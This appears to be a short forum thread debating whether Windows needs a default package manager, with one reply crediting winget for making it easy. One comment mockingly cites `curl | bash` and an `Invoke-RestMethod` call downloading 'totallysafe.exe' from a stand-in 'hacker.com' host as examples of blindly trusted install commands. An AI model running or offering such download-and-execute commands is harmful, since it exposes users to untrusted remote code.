meh. it's not.
If you are convincing people to run commands to install packages:
- they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw)
- they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe http://hacker.com/totallysafe.exe`
on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
- frizlab 2y agoIMHO it is though. I have a windows VM I rarely use and tried using a package manager at some point, but end up not succeeding until winget was part of the system and was a no-brainer. Too many possibilities made me choose none.
